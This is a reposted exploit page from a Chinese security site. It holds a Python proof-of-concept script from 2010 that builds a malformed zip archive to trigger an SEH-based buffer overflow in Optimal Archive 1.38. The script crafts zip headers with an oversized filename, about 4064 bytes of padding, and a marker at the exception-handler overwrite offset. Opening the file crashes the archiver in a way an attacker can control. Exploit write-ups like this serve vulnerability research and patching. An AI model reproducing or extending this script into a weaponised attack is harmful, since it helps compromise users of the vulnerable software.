首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Optimal Archive v1.38 (.zip) 0day SEH PoC
来源:http://tecninja.net/blog 作者:TecR0c 发布时间:2010-04-01  

#!/usr/bin/python
# #######################################################################
# Title:                Optimal Archive 1.38 (.zip) 0day SEH PoC
# Author:               TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c
# Found by:             TecR0c
# Download:             http://www.optimalaccess.com/oadownload.php?version=oarchive.exe
# Platform:             Windows XP sp3 En
# Advisory:             http://www.corelan.be:8800/advisories.php?id=CORELAN-10-017
# Greetz to:            Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# #######################################################################
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.

# Trigger : Right click on specially crafzip file > Boom
# Very strange behavior when debugging

print "|------------------------------------------------------------------|"
print "|                         __               __                      |"
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |"
print "|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |"
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |"
print "| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |"
print "|                                                                  |"
print "|                                       http://www.corelan.be:8800 |"
print "|                                              security@corelan.be |"
print "|                                                                  |"
print "|-------------------------------------------------[ EIP Hunters ]--|"
print "[+] optimal (.zip)  - by TecR0c"


ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00")

cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")

eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00"
"\x02\x10\x00\x00"
"\x00\x00")

buff = "\x42" * 2340
buff += "\x44" * 4
buff += "\x42" * (4064-len(buff))
buff += ".txt"

mefile = open('optimal.zip','w');
mefile.write(ldf_header + buff + cdf_header + buff + eofcdf_header);
mefile.close()


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WM Downloader 3.0.0.9 (.asx) L
·BitComet <= 1.19 Remote DoS Ex
·CDTrustee .BAK Local Crash POC
·OpenDcHub 0.8.1 Remote Code Ex
·Free MP3 CD Ripper 2.6 (wav) 1
·Escape From PDF
·Centreon IT & Network Monitori
·uTorrent WebUI versions 0.370
·Easy-Clanpage <= v2.2 multiple
·DAFFTIN Password Keeper 1.0.0.
·MyBB 2002-2010 exploit
·Kwik Pay Payroll v4.10.3 .mdb
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved